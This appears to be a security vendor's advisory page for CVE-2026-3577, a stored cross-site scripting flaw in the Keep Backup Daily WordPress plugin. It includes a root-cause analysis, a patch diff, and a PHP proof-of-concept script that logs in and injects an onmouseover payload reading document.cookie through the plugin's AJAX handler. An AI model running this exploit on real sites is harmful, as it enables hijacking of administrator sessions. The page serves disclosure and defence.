Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-3577: Keep Backup Daily <= 2.1.2 – Authenticated (Admin+) Stored Cross-Site Scripting via Backup Title (keep-backup-daily)

CVE ID CVE-2026-3577
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 2.1.2
Patched Version 2.1.3
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3577:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Keep Backup Daily WordPress plugin. The vulnerability affects the backup title alias functionality and requires administrator-level access. The CVSS score of 4.4 reflects the authenticated nature of the attack and the administrative privilege requirement.

Atomic Edge research identifies the root cause as insufficient output escaping in two template files. The plugin uses `sanitize_text_field()` on the `val` parameter in the `update_kbd_bkup_alias` AJAX handler, which strips HTML tags but does not encode double quotes. The vulnerability manifests in `/keep-backup-daily/inc/kbd_cron.php` at lines 279-280 and 502-503, where the `$title` variable is directly interpolated into HTML attribute contexts without proper escaping via `esc_attr()`. The `$title` value originates from the `val` POST parameter processed by the `update_kbd_bkup_alias()` function in `/keep-backup-daily/inc/functions.php`.

Exploitation requires an attacker with administrator privileges to send a crafted AJAX request to `/wp-admin/admin-ajax.php`. The request must include `action=update_kbd_bkup_alias`, a valid backup `key`, and a malicious `val` parameter containing a payload like `” onmouseover=”alert(‘XSS’)`. This payload injects JavaScript into the `value` attribute of an “ element and the `title` attribute of an `` element. The script executes when another administrator views the backup list page, as the malicious title is retrieved from the database and rendered without escaping.

The patch addresses the vulnerability in three ways. First, it adds a capability check `current_user_can(‘manage_options’)` to the `update_kbd_bkup_alias()` function in `/keep-backup-daily/inc/functions.php`. Second, it applies `esc_attr()` to the `$title` variable in both “ element `value` attributes in `/keep-backup-daily/inc/kbd_cron.php`. Third, it applies `esc_attr()` to the translated string in the `` element’s `title` attribute and `esc_html()` to the `$title` variable in the anchor text. These changes ensure proper contextual escaping for both HTML attribute and text node contexts.

Successful exploitation allows an authenticated attacker with administrator privileges to inject arbitrary JavaScript that executes in the context of other administrators viewing the backup list. This can lead to session hijacking, privilege escalation within the WordPress dashboard, or complete site compromise if combined with other vulnerabilities. The stored nature means the payload persists and executes for each administrator visiting the affected page until manually removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/keep-backup-daily/inc/functions.php
+++ b/keep-backup-daily/inc/functions.php
@@ -578,6 +578,9 @@
 	add_action( 'wp_ajax_update_kbd_bkup_alias', 'update_kbd_bkup_alias' );

 	function update_kbd_bkup_alias() {
+		if ( ! current_user_can('manage_options') ) {
+			wp_send_json_error('Insufficient permissions.');
+		}
 		global $wpdb, $kbd_backup_aliases, $kbd_db_prefix; // this is how you get access to the database

 		if(isset($_POST['key']) && $_POST['key']!='' && isset($_POST['val']) && $_POST['val']!=''){
@@ -834,6 +837,13 @@
 					$kbd_path = sanitize_kbd_data($_POST['kbd_path']);
 					$kbd_path= str_replace('\', '/', $kbd_path);
 					$kbd_path= str_replace('\', '/', $kbd_path);
+
+					$allowed_directory = realpath(WP_CONTENT_DIR . '/uploads');
+					$real_path = realpath($kbd_path);
+
+					if ($real_path === false || strpos($real_path, $allowed_directory) !== 0) {
+						wp_send_json_error('Invalid directory path.');
+					}

 					kbd_get_dir_list_html($kbd_path, 'sub');

--- a/keep-backup-daily/inc/kbd_cron.php
+++ b/keep-backup-daily/inc/kbd_cron.php
@@ -279,8 +279,8 @@
 						$stats = $db_size;

 						echo '<li>';
-						echo '<input type="text" value="'.$title.'" />';
-						echo '<a title="'.__('Click here to edit this title','wpkbd').'" class="kbd-bkup-title" data-key="'.$name.'">'.$title.'</a>';
+						echo '<input type="text" value="' . esc_attr($title) . '" />';
+						echo '<a title="' . esc_attr(__('Click here to edit this title','wpkbd')) . '" class="kbd-bkup-title" data-key="' . esc_attr($name) . '">' . esc_html($title) . '</a>';
 						echo '<a style="margin-left:100px; font-size:12px; color:blue;" href="'.$file.'" >'.__('Download','wpkbd').'</a>';
 						echo '<a style="margin-left:100px; font-size:12px; color:red;" href="'.$file.'&rm">'.__('Delete','wpkbd').'</a>';
 						echo '<span style="margin-left:100px">'.($b == 1 ? '[LATEST] ' : '').$stats.'</span>';
@@ -502,8 +502,8 @@
 				$stats = $db_size;

 				echo '<li>';
-				echo '<input type="text" value="'.$title.'" />';
-				echo '<a title="'.__('Click here to edit this title','wpkbd').'" class="kbd-bkup-title" data-key="'.$name.'">'.$title.'</a>';
+				echo '<input type="text" value="' . esc_attr($title) . '" />';
+				echo '<a title="' . esc_attr(__('Click here to edit this title','wpkbd')) . '" class="kbd-bkup-title" data-key="' . esc_attr($name) . '">' . esc_html($title) . '</a>';
 				echo '<a style="margin-left:100px; font-size:12px; color:blue;" href="'.$file.'" >'.__('Download','wpkbd').'</a>';
 				echo '<a class="kbd_del_backup" style="margin-left:100px; font-size:12px; color:red;" href="'.$file.'&rm">'.__('Delete','wpkbd').'</a>';
 				echo '<span style="margin-left:100px">'.($b == 1 ? '[LATEST] ' : '').$stats.'</span>';
--- a/keep-backup-daily/index.php
+++ b/keep-backup-daily/index.php
@@ -3,7 +3,7 @@
 Plugin Name: Keep Backup Daily
 Plugin URI: http://androidbubble.com/blog/website-development/php-frameworks/wordpress/plugins/wordpress-plugin-keep-backup-daily/1046
 Description: This plugin will backup the mysql tables and email to a specified email address daily, weekly, monthly or even yearly.
-Version: 2.1.2
+Version: 2.1.3
 Author: Fahad Mahmood
 Author URI: https://www.androidbubbles.com
 Text Domain: wpkbd

ModSecurity Protection Against This CVE

Proof of Concept (PHP)

PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3577 - Keep Backup Daily <= 2.1.2 - Authenticated (Admin+) Stored Cross-Site Scripting via Backup Title

<?php
$target_url = 'https://vulnerable-site.com';
$username = 'admin';
$password = 'password';
$backup_key = 'backup_1234567890';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Verify login by checking for WordPress admin dashboard elements
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Craft XSS payload for HTML attribute injection
// Double quote closes the value attribute, then injects JavaScript event handler
$xss_payload = '" onmouseover="alert(document.cookie)';

// Send AJAX request to update backup alias with malicious payload
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'update_kbd_bkup_alias',
    'key' => $backup_key,
    'val' => $xss_payload
]));

$response = curl_exec($ch);
curl_close($ch);

// Check if the request was successful
if ($response === false) {
    echo 'Request failed.';
} else {
    echo 'Payload injected. Visit ' . $target_url . '/wp-admin/admin.php?page=keep-backup-daily to trigger XSS.';
}
?>

Frequently Asked Questions

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School